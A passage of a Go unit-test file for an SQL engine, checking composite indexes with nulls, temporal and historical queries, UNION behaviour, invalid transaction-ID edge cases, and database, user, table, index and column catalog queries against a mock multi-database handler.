FROM table1 USE INDEX ON(v1,v2)", t1Row(1, 1, "2"), ) exec(t, "INSERT INTO table1(v1,v2) VALUES(1, '3')") query(t, "SELECT * FROM table1 USE INDEX ON(v1,v2) WHERE v1=1 ORDER BY v2", t1Row(1, 1, "2"), t1Row(2, 1, "3"), ) }) t.Run("succeed adding null columns as the second indexed column", func(t *testing.T) { exec(t, "INSERT INTO table1(v1,v2) VALUES(1, null)") query(t, "SELECT * FROM table1 USE INDEX ON(v1,v2) WHERE v1=1 ORDER BY v2", t1Row(3, 1, nil), t1Row(1, 1, "2"), t1Row(2, 1, "3"), ) exec(t, "INSERT INTO table1(v1,v2) VALUES(1, null)") query(t, "SELECT * FROM table1 USE INDEX ON(v1,v2) WHERE v1=1 ORDER BY v2", t1Row(3, 1, nil), t1Row(4, 1, nil), t1Row(1, 1, "2"), t1Row(2, 1, "3"), ) exec(t, "INSERT INTO table1(v1,v2) VALUES(2, null)") query(t, "SELECT * FROM table1 USE INDEX ON(v1,v2) WHERE v1=1 ORDER BY v2", t1Row(3, 1, nil), t1Row(4, 1, nil), t1Row(1, 1, "2"), t1Row(2, 1, "3"), ) }) t.Run("succeed adding null columns as the first indexed column", func(t *testing.T) { exec(t, "INSERT INTO table1(v1,v2) VALUES(null, '4')") query(t, "SELECT * FROM table1 USE INDEX ON(v1,v2) WHERE v1=1 ORDER BY v2", t1Row(3, 1, nil), t1Row(4, 1, nil), t1Row(1, 1, "2"), t1Row(2, 1, "3"), ) query(t, "SELECT * FROM table1 USE INDEX ON(v1,v2) WHERE v1=1 ORDER BY v2", t1Row(3, 1, nil), t1Row(4, 1, nil), t1Row(1, 1, "2"), t1Row(2, 1, "3"), ) }) t.Run("succeed querying null columns using index", func(t *testing.T) { query(t, "SELECT * FROM table1 USE INDEX ON(v1,v2) WHERE v1=null", t1Row(6, nil, "4"), ) }) t.Run("succeed creating table with two indexes", func(t *testing.T) { exec(t, ` CREATE TABLE table2 ( id INTEGER AUTO_INCREMENT, v1 INTEGER, v2 VARCHAR[16], v3 BOOLEAN, v4 BLOB[15], PRIMARY KEY(id) ) `) exec(t, "CREATE INDEX ON table2(v1, v2)") exec(t, "CREATE UNIQUE INDEX ON table2(v3, v4)") query(t, "SELECT * FROM table2 USE INDEX ON(v3,v4)") }) t.Run("succeed inserting data on table with two indexes", func(t *testing.T) { exec(t, "INSERT INTO table2(v1, v2, v3, v4) VALUES(null, null, null, null)") query(t, "SELECT * FROM table2 USE INDEX ON(v1, v2)", t2Row(1, nil, nil, nil, nil)) query(t, "SELECT * FROM table2 USE INDEX ON(v3, v4)", t2Row(1, nil, nil, nil, nil)) }) t.Run("fail adding entries with duplicate with nulls", func(t *testing.T) { _, _, err := engine.Exec(context.Background(), nil, "INSERT INTO table2(v1, v2, v3, v4) VALUES(1, '2', null, null)", nil) require.ErrorIs(t, err, store.ErrKeyAlreadyExists) }) t.Run("succeed scanning multiple rows on table with two indexes", func(t *testing.T) { exec(t, ` INSERT INTO table2(v1,v2,v3,v4) VALUES (1,'2',true, null), (3,'4',null, x'1234'), (5,'6',false, x'5678') `) // Order for boolean must be null -> false -> true query(t, "SELECT * FROM table2 USE INDEX ON(v3, v4)", t2Row(1, nil, nil, nil, nil), t2Row(3, 3, "4", nil, []byte{0x12, 0x34}), t2Row(4, 5, "6", false, []byte{0x56, 0x78}), t2Row(2, 1, "2", true, nil), ) }) } func TestTemporalQueries(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1(id INTEGER AUTO_INCREMENT, title VARCHAR[50], PRIMARY KEY id)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(title)", nil) require.NoError(t, err) rowCount := 10 for i := 0; i < rowCount; i++ { _, txs, err := engine.Exec(context.Background(), nil, "INSERT INTO table1(title) VALUES (@title)", map[string]interface{}{"title": fmt.Sprintf("title%d", i)}) require.NoError(t, err) require.Len(t, txs, 1) hdr := txs[0].TxHeader() t.Run("querying data with future date should not return any row", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT id, title FROM table1 AFTER CAST(@ts AS TIMESTAMP)", map[string]interface{}{"ts": hdr.Ts}) require.NoError(t, err) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) }) t.Run("querying data with a greater tx should not return any row", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT id, title FROM table1 AFTER TX @tx", map[string]interface{}{"tx": hdr.ID}) require.NoError(t, err) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) }) t.Run("querying data since tx date should return the last row", func(t *testing.T) { q := "SELECT id, title FROM table1 SINCE CAST(@ts AS TIMESTAMP) UNTIL now()" params, err := engine.InferParameters(context.Background(), nil, q) require.NoError(t, err) require.NotNil(t, params) require.Len(t, params, 1) require.Equal(t, AnyType, params["ts"]) r, err := engine.Query(context.Background(), nil, q, map[string]interface{}{"ts": hdr.Ts}) require.NoError(t, err) row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Equal(t, int64(i+1), row.ValuesBySelector["(table1.id)"].RawValue()) err = r.Close() require.NoError(t, err) }) t.Run("querying data with since tx id should return the last row", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT id, title FROM table1 SINCE TX @tx", map[string]interface{}{"tx": hdr.ID}) require.NoError(t, err) row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Equal(t, int64(i+1), row.ValuesBySelector["(table1.id)"].RawValue()) err = r.Close() require.NoError(t, err) }) t.Run("querying data with until current tx ordering desc by name should return always the first row", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT id FROM table1 UNTIL TX @tx ORDER BY title ASC", map[string]interface{}{"tx": hdr.ID}) require.NoError(t, err) row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Equal(t, int64(1), row.ValuesBySelector["(table1.id)"].RawValue()) err = r.Close() require.NoError(t, err) }) time.Sleep(1 * time.Second) } t.Run("querying data with until current time should return all rows", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT COUNT(*) as c FROM table1 SINCE TX 1 UNTIL now()", nil) require.NoError(t, err) row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Equal(t, int64(rowCount), row.ValuesBySelector["(table1.c)"].RawValue()) err = r.Close() require.NoError(t, err) }) t.Run("querying data since an older date should return all rows", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT COUNT(*) as c FROM table1 SINCE '2021-12-03'", nil) require.NoError(t, err) row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Equal(t, int64(rowCount), row.ValuesBySelector["(table1.c)"].RawValue()) err = r.Close() require.NoError(t, err) }) t.Run("querying data since an older date should return all rows", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT COUNT(*) as c FROM table1 SINCE CAST('2021-12-03' AS TIMESTAMP)", nil) require.NoError(t, err) row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Equal(t, int64(rowCount), row.ValuesBySelector["(table1.c)"].RawValue()) err = r.Close() require.NoError(t, err) }) } func TestHistoricalQueries(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1(id INTEGER, title VARCHAR[50], _rev INTEGER, PRIMARY KEY id)", nil) require.ErrorIs(t, err, ErrReservedWord) _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1(id INTEGER, title VARCHAR[50], PRIMARY KEY id)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(title)", nil) require.NoError(t, err) rowCount := 10 for i := 1; i <= rowCount; i++ { _, txs, err := engine.Exec(context.Background(), nil, "UPSERT INTO table1(id, title) VALUES (1, @title)", map[string]interface{}{"title": fmt.Sprintf("title%d", i)}) require.NoError(t, err) require.Len(t, txs, 1) } t.Run("querying historical data should return data from older to newer revisions", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT _rev, title FROM (HISTORY OF table1)", nil) require.NoError(t, err) for i := 1; i <= rowCount; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Equal(t, int64(i), row.ValuesByPosition[0].RawValue()) require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesByPosition[1].RawValue()) } _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) }) t.Run("querying historical data in desc order should return data from newer to older revisions", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT _rev, title FROM (HISTORY OF table1) order by id desc", nil) require.NoError(t, err) for i := rowCount; i > 0; i-- { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Equal(t, int64(i), row.ValuesByPosition[0].RawValue()) require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesByPosition[1].RawValue()) } _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) }) } func TestUnionOperator(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1(id INTEGER AUTO_INCREMENT, title VARCHAR[50], PRIMARY KEY id)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(title)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table2(id INTEGER AUTO_INCREMENT, name VARCHAR[30], PRIMARY KEY id)", nil) require.NoError(t, err) _, err = engine.Query(context.Background(), nil, "SELECT COUNT(*) FROM table_unknown UNION SELECT COUNT(*) FROM table1", nil) require.ErrorIs(t, err, ErrTableDoesNotExist) _, err = engine.Query(context.Background(), nil, "SELECT COUNT(*) FROM table1 UNION SELECT COUNT(*) FROM table_unknown", nil) require.ErrorIs(t, err, ErrTableDoesNotExist) _, err = engine.Query(context.Background(), nil, "SELECT COUNT(*) as c FROM table1 UNION SELECT id, title FROM table1", nil) require.ErrorIs(t, err, ErrColumnMismatchInUnionStmt) _, err = engine.Query(context.Background(), nil, "SELECT COUNT(*) as c FROM table1 UNION SELECT title FROM table1", nil) require.ErrorIs(t, err, ErrColumnMismatchInUnionStmt) _, err = engine.InferParameters(context.Background(), nil, "SELECT title FROM table1 UNION SELECT name FROM table2") require.NoError(t, err) _, err = engine.InferParameters(context.Background(), nil, "SELECT title FROM table1 UNION invalid stmt") require.ErrorIs(t, err, ErrParsingError) rowCount := 10 for i := 0; i < rowCount; i++ { _, _, err := engine.Exec(context.Background(), nil, "INSERT INTO table1(title) VALUES (@title)", map[string]interface{}{"title": fmt.Sprintf("title%d", i)}) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table2(name) VALUES (@name)", map[string]interface{}{"name": fmt.Sprintf("name%d", i)}) require.NoError(t, err) } t.Run("default union should filter out duplicated rows", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, ` SELECT COUNT(*) as c FROM table1 UNION SELECT COUNT(*) FROM table1 UNION SELECT COUNT(*) c FROM table1 t1 `, nil) require.NoError(t, err) row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Equal(t, int64(rowCount), row.ValuesBySelector["(table1.c)"].RawValue()) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) }) t.Run("union all should not filter out duplicated rows", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT COUNT(*) as c FROM table1 UNION ALL SELECT COUNT(*) FROM table1", nil) require.NoError(t, err) row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Equal(t, int64(rowCount), row.ValuesBySelector["(table1.c)"].RawValue()) row, err = r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Equal(t, int64(rowCount), row.ValuesBySelector["(table1.c)"].RawValue()) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) }) t.Run("union should filter out duplicated rows", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT title FROM table1 order by title desc UNION SELECT title FROM table1", nil) require.NoError(t, err) for i := 0; i < rowCount; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Equal(t, fmt.Sprintf("title%d", rowCount-i-1), row.ValuesBySelector["(table1.title)"].RawValue()) } _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) }) t.Run("union with subqueries over different tables", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT title FROM table1 UNION SELECT name FROM table2", nil) require.NoError(t, err) for i := 0; i < rowCount; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector["(table1.title)"].RawValue()) } for i := 0; i < rowCount; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Equal(t, fmt.Sprintf("name%d", i), row.ValuesBySelector["(table1.title)"].RawValue()) } _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) }) } func TestTemporalQueriesEdgeCases(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1(id INTEGER AUTO_INCREMENT, title VARCHAR[50], PRIMARY KEY id)", nil) require.NoError(t, err) edgeCases := []struct { title string query string params map[string]interface{} err error }{ { title: "querying data with future date should not return any row", query: "SELECT ts FROM table1 AFTER now() ORDER BY id DESC LIMIT 1", params: nil, err: ErrNoMoreRows, }, { title: "querying data with invalid tx id should return error", query: "SELECT id, title FROM table1 SINCE TX @tx", params: map[string]interface{}{"tx": 0}, err: ErrIllegalArguments, }, { title: "querying data with invalid tx id should return error", query: "SELECT id, title FROM table1 SINCE TX @tx", params: map[string]interface{}{"tx": -1}, err: ErrIllegalArguments, }, { title: "querying data with col selector as tx id should return error", query: "SELECT id, title FROM table1 SINCE TX id", params: nil, err: ErrInvalidValue, }, { title: "querying data with aggregations as tx id should return error", query: "SELECT id, title FROM table1 SINCE TX COUNT(*)", params: nil, err: ErrInvalidValue, }, { title: "querying data with invalid tx id should return error", query: "SELECT id, title FROM table1 AFTER TX @tx", params: map[string]interface{}{"tx": 0}, err: ErrIllegalArguments, }, { title: "querying data with invalid tx id should return error", query: "SELECT id, title FROM table1 AFTER TX @tx", params: map[string]interface{}{"tx": -1}, err: ErrIllegalArguments, }, { title: "querying data with invalid tx id should return error", query: "SELECT id, title FROM table1 BEFORE TX @tx", params: map[string]interface{}{"tx": 0}, err: ErrIllegalArguments, }, { title: "querying data with invalid tx id should return error", query: "SELECT id, title FROM table1 BEFORE TX @tx", params: map[string]interface{}{"tx": -1}, err: ErrIllegalArguments, }, { title: "querying data with invalid tx id should return error", query: "SELECT id, title FROM table1 BEFORE TX @tx", params: map[string]interface{}{"tx": 1}, err: ErrIllegalArguments, }, { title: "querying data with invalid tx id should return error", query: "SELECT id, title FROM table1 SINCE TX @tx", params: map[string]interface{}{"tx": uint64(math.MaxUint64)}, err: ErrIllegalArguments, }, { title: "querying data with valid tx id but greater than existent id should return no more rows error", query: "SELECT id, title FROM table1 SINCE TX @tx", params: map[string]interface{}{"tx": math.MaxInt64}, err: ErrNoMoreRows, }, { title: "querying data with valid tx id but greater than existent id should return no more rows error", query: "SELECT id, title FROM table1 AFTER TX @tx", params: map[string]interface{}{"tx": math.MaxInt64}, err: ErrNoMoreRows, }, { title: "querying data with valid tx id but greater than existent id should return no more rows error", query: "SELECT id, title FROM table1 BEFORE TX @tx", params: map[string]interface{}{"tx": math.MaxInt64}, err: ErrNoMoreRows, }, } for _, c := range edgeCases { t.Run(c.title, func(t *testing.T) { r, err := engine.Query(context.Background(), nil, c.query, c.params) require.NoError(t, err) _, err = r.Read(context.Background()) require.ErrorIs(t, err, c.err) err = r.Close() require.NoError(t, err) }) } } func TestTemporalQueriesDeletedRows(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1(id INTEGER, title VARCHAR[50], PRIMARY KEY id)", nil) require.NoError(t, err) for i := 0; i < 10; i++ { _, tx1, err := engine.Exec(context.Background(), nil, "INSERT INTO table1(id, title) VALUES(@id, @title)", map[string]interface{}{ "id": i, "title": fmt.Sprintf("title%d", i), }, ) require.NoError(t, err) require.Len(t, tx1, 1) } _, tx2, err := engine.Exec(context.Background(), nil, "DELETE FROM table1 WHERE id = 5", nil) require.NoError(t, err) require.Len(t, tx2, 1) // Update value that is topologically before the deleted entry when scanning primary index _, _, err = engine.Exec(context.Background(), nil, "UPDATE table1 SET title = 'updated_title2' WHERE id = 2", nil) require.NoError(t, err) // Update value that is topologically after the deleted entry when scanning primary index _, _, err = engine.Exec(context.Background(), nil, "UPDATE table1 SET title = 'updated_title8' WHERE id = 8", nil) require.NoError(t, err) // Reinsert deleted entry _, tx3, err := engine.Exec(context.Background(), nil, "INSERT INTO table1(id, title) VALUES(5, 'title5')", nil) require.NoError(t, err) require.Len(t, tx3, 1) // The sequence of operations is: // Crate table // tx1: INSERT id=0..9 // tx2: DELETE id=5 \ // UPDATE id=2 >- temporal query over the range // UPDATE id=8 / // tx3: INSERT id=5 res, err := engine.Query( context.Background(), nil, "SELECT id FROM table1 SINCE TX @since BEFORE TX @before", map[string]interface{}{ "since": tx2[0].txHeader.ID, "before": tx3[0].txHeader.ID, }, ) require.NoError(t, err) row, err := res.Read(context.Background()) require.NoError(t, err) require.EqualValues(t, 2, row.ValuesByPosition[0].RawValue()) row, err = res.Read(context.Background()) require.NoError(t, err) require.EqualValues(t, 8, row.ValuesByPosition[0].RawValue()) _, err = res.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = res.Close() require.NoError(t, err) } func TestMultiDBCatalogQueries(t *testing.T) { st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) dbs := []string{"db1", "db2"} handler := &multidbHandlerMock{ user: &mockUser{ username: "user", sqlPrivileges: allPrivileges, }, } opts := DefaultOptions(). WithPrefix(sqlPrefix). WithMultiDBHandler(handler) engine, err := NewEngine(st, opts) require.NoError(t, err) handler.dbs = dbs handler.engine = engine t.Run("with a handler, multi database stmts are delegated to the handler", func(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, ` BEGIN TRANSACTION; CREATE DATABASE db1; COMMIT; `, nil) require.ErrorIs(t, err, ErrNonTransactionalStmt) _, _, err = engine.Exec(context.Background(), nil, ` BEGIN TRANSACTION; CREATE USER user1 WITH PASSWORD 'user1Password!' READ; COMMIT; `, nil) require.ErrorIs(t, err, ErrNonTransactionalStmt) _, _, err = engine.Exec(context.Background(), nil, ` BEGIN TRANSACTION; ALTER USER user1 WITH PASSWORD 'user1Password!' READ; COMMIT; `, nil) require.ErrorIs(t, err, ErrNonTransactionalStmt) _, _, err = engine.Exec(context.Background(), nil, ` BEGIN TRANSACTION; DROP USER user1; COMMIT; `, nil) require.ErrorIs(t, err, ErrNonTransactionalStmt) _, _, err = engine.Exec(context.Background(), nil, ` BEGIN TRANSACTION; GRANT ALL PRIVILEGES ON DATABASE defaultdb TO USER myuser; COMMIT; `, nil) require.ErrorIs(t, err, ErrNonTransactionalStmt) _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1", nil) require.ErrorIs(t, err, ErrNoSupported) _, _, err = engine.Exec(context.Background(), nil, "USE DATABASE db1", nil) require.NoError(t, err) ntx, ctxs, err := engine.Exec(context.Background(), nil, "USE DATABASE db1; USE DATABASE db2", nil) require.NoError(t, err) require.Nil(t, ntx) require.Len(t, ctxs, 2) require.Zero(t, ctxs[0].UpdatedRows()) require.Zero(t, ctxs[1].UpdatedRows()) _, _, err = engine.Exec(context.Background(), nil, "BEGIN TRANSACTION; USE DATABASE db1; COMMIT;", nil) require.ErrorIs(t, err, ErrNonTransactionalStmt) t.Run("unconditional database query", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT * FROM DATABASES() WHERE name LIKE 'db*'", nil) require.NoError(t, err) for _, db := range dbs { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.NotNil(t, row) require.Equal(t, db, row.ValuesBySelector["(databases.name)"].RawValue()) } _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) }) t.Run("show databases", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SHOW DATABASES", nil) require.NoError(t, err) for _, db := range dbs { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.NotNil(t, row) require.Equal(t, db, row.ValuesBySelector["(databases.name)"].RawValue()) } _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) }) t.Run("show users", func(t *testing.T) { rows, err := engine.queryAll(context.Background(), nil, "SHOW USERS", nil) require.NoError(t, err) require.Len(t, rows, 1) require.Equal(t, "user", rows[0].ValuesByPosition[0].RawValue()) }) t.Run("list users", func(t *testing.T) { rows, err := engine.queryAll(context.Background(), nil, "SELECT * FROM USERS()", nil) require.NoError(t, err) require.Len(t, rows, 1) require.Equal(t, "user", rows[0].ValuesByPosition[0].RawValue()) }) t.Run("query databases using conditions with table and column aliasing", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT dbs.name as dbname FROM DATABASES() as dbs WHERE name LIKE 'db*'", nil) require.NoError(t, err) for _, db := range dbs { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.NotNil(t, row) require.Equal(t, db, row.ValuesBySelector["(dbs.dbname)"].RawValue()) } _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) }) }) } type mockUser struct { username string permission Permission sqlPrivileges []SQLPrivilege } func (u *mockUser) Username() string { return u.username } func (u *mockUser) Permission() Permission { return u.permission } func (u *mockUser) SQLPrivileges() []SQLPrivilege { return u.sqlPrivileges } type multidbHandlerMock struct { dbs []string user *mockUser engine *Engine } func (h *multidbHandlerMock) ListDatabases(ctx context.Context) ([]string, error) { return h.dbs, nil } func (h *multidbHandlerMock) CreateDatabase(ctx context.Context, db string, ifNotExists bool) error { return ErrNoSupported } func (h *multidbHandlerMock) GrantSQLPrivileges(ctx context.Context, database, username string, privileges []SQLPrivilege) error { return ErrNoSupported } func (h *multidbHandlerMock) RevokeSQLPrivileges(ctx context.Context, database, username string, privileges []SQLPrivilege) error { return ErrNoSupported } func (h *multidbHandlerMock) UseDatabase(ctx context.Context, db string) error { return nil } func (h *multidbHandlerMock) GetLoggedUser(ctx context.Context) (User, error) { if h.user == nil { return nil, fmt.Errorf("no logged user") } return h.user, nil } func (h *multidbHandlerMock) ListUsers(ctx context.Context) ([]User, error) { return []User{h.user}, nil } func (h *multidbHandlerMock) CreateUser(ctx context.Context, username, password string, permission Permission) error { return ErrNoSupported } func (h *multidbHandlerMock) AlterUser(ctx context.Context, username, password string, permission Permission) error { return ErrNoSupported } func (h *multidbHandlerMock) DropUser(ctx context.Context, username string) error { return ErrNoSupported } func (h *multidbHandlerMock) ExecPreparedStmts( ctx context.Context, opts *TxOptions, stmts []SQLStmt, params map[string]interface{}, ) (ntx *SQLTx, committedTxs []*SQLTx, err error) { return h.engine.ExecPreparedStmts(ctx, nil, stmts, params) } func TestSingleDBCatalogQueries(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec(context.Background(), nil, ` CREATE TABLE mytable1(id INTEGER NOT NULL AUTO_INCREMENT, title VARCHAR[256], PRIMARY KEY id); CREATE TABLE mytable2(id INTEGER NOT NULL, name VARCHAR[100], active BOOLEAN, PRIMARY KEY id); `, nil) require.NoError(t, err) tx, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx, ` CREATE INDEX ON mytable1(title); CREATE INDEX ON mytable2(name); CREATE UNIQUE INDEX ON mytable2(name, active); `, nil) require.NoError(t, err) defer tx.Cancel() t.Run("querying tables without any condition should return all tables", func(t *testing.T) { r, err := engine.Query(context.Background(), tx, "SELECT * FROM TABLES()", nil) require.NoError(t, err) defer r.Close() row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, "mytable1", row.ValuesBySelector["(tables.name)"].RawValue()) row, err = r.Read(context.Background()) require.NoError(t, err) require.Equal(t, "mytable2", row.ValuesBySelector["(tables.name)"].RawValue()) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) }) t.Run("querying tables with name equality comparison should return only one table", func(t *testing.T) { r, err := engine.Query(context.Background(), tx, "SELECT * FROM TABLES() WHERE name = 'mytable2'", nil) require.NoError(t, err) defer r.Close() row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, "mytable2", row.ValuesBySelector["(tables.name)"].RawValue()) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) }) t.Run("querying tables with name equality comparison using parameters should return only one table", func(t *testing.T) { params := make(map[string]interface{}) params["name"] = "mytable2" r, err := engine.Query(context.Background(), tx, "SELECT * FROM TABLES() WHERE name = @name", params) require.NoError(t, err) defer r.Close() row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, "mytable2", row.ValuesBySelector["(tables.name)"].RawValue()) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) }) t.Run("show tables", func(t *testing.T) { r, err := engine.Query(context.Background(), tx, "SHOW TABLES", nil) require.NoError(t, err) defer r.Close() row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, "mytable1", row.ValuesBySelector["(tables.name)"].RawValue()) row, err = r.Read(context.Background()) require.NoError(t, err) require.Equal(t, "mytable2", row.ValuesBySelector["(tables.name)"].RawValue()) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) }) t.Run("unconditional index query should return all the indexes of mytable1", func(t *testing.T) { params := map[string]interface{}{ "tableName": "mytable1", } r, err := engine.Query(context.Background(), tx, "SELECT * FROM INDEXES(@tableName)", params) require.NoError(t, err) defer r.Close() row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, "mytable1", row.ValuesBySelector["(indexes.table)"].RawValue()) require.Equal(t, "mytable1(id)", row.ValuesBySelector["(indexes.name)"].RawValue()) require.True(t, row.ValuesBySelector["(indexes.unique)"].RawValue().(bool)) require.True(t, row.ValuesBySelector["(indexes.primary)"].RawValue().(bool)) row, err = r.Read(context.Background()) require.NoError(t, err) require.Equal(t, "mytable1", row.ValuesBySelector["(indexes.table)"].RawValue()) require.Equal(t, "mytable1(title)", row.ValuesBySelector["(indexes.name)"].RawValue()) require.False(t, row.ValuesBySelector["(indexes.unique)"].RawValue().(bool)) require.False(t, row.ValuesBySelector["(indexes.primary)"].RawValue().(bool)) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) }) t.Run("unconditional index query should return all the indexes of mytable2", func(t *testing.T) { r, err := engine.Query(context.Background(), tx, "SELECT * FROM INDEXES('mytable2')", nil) require.NoError(t, err) defer r.Close() row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, "mytable2", row.ValuesBySelector["(indexes.table)"].RawValue()) require.Equal(t, "mytable2(id)", row.ValuesBySelector["(indexes.name)"].RawValue()) require.True(t, row.ValuesBySelector["(indexes.unique)"].RawValue().(bool)) require.True(t, row.ValuesBySelector["(indexes.primary)"].RawValue().(bool)) row, err = r.Read(context.Background()) require.NoError(t, err) require.Equal(t, "mytable2", row.ValuesBySelector["(indexes.table)"].RawValue()) require.Equal(t, "mytable2(name)", row.ValuesBySelector["(indexes.name)"].RawValue()) require.False(t, row.ValuesBySelector["(indexes.unique)"].RawValue().(bool)) require.False(t, row.ValuesBySelector["(indexes.primary)"].RawValue().(bool)) row, err = r.Read(context.Background()) require.NoError(t, err) require.Equal(t, "mytable2", row.ValuesBySelector["(indexes.table)"].RawValue()) require.Equal(t, "mytable2(name,active)", row.ValuesBySelector["(indexes.name)"].RawValue()) require.True(t, row.ValuesBySelector["(indexes.unique)"].RawValue().(bool)) require.False(t, row.ValuesBySelector["(indexes.primary)"].RawValue().(bool)) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) }) t.Run("unconditional column query should return all the columns of mytable1", func(t *testing.T) { params := map[string]interface{}{ "tableName": "mytable1", } r, err := engine.Query(context.Background(), tx, "SELECT * FROM COLUMNS(@tableName)", params) require.NoError(t, err) defer r.Close() row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, "mytable1", row.ValuesBySelector["(columns.table)"].RawValue()) require.Equal(t, "id", row.ValuesBySelector["(columns.name)"].RawValue()) require.Equal(t, IntegerType, row.ValuesBySelector["(columns.type)"].RawValue()) require.Equal(t, int64(8), row.ValuesBySelector["(columns.max_length)"].RawValue()) require.False(t, row.ValuesBySelector["(columns.nullable)"].RawValue().(bool)) require.True(t, row.ValuesBySelector["(columns.auto_increment)"].RawValue().(bool)) require.True(t, row.ValuesBySelector["(columns.indexed)"].RawValue().(bool)) require.True(t, row.ValuesBySelector["(columns.primary)"].RawValue().(bool)) require.True(t, row.ValuesBySelector["(columns.unique)"].RawValue().(bool)) row, err = r.Read(context.Background()) require.NoError(t, err) require.Equal(t, "mytable1", row.ValuesBySelector["(columns.table)"].RawValue()) require.Equal(t, "title", row.ValuesBySelector["(columns.name)"].RawValue()) require.Equal(t, VarcharType, row.ValuesBySelector["(columns.type)"].RawValue()) 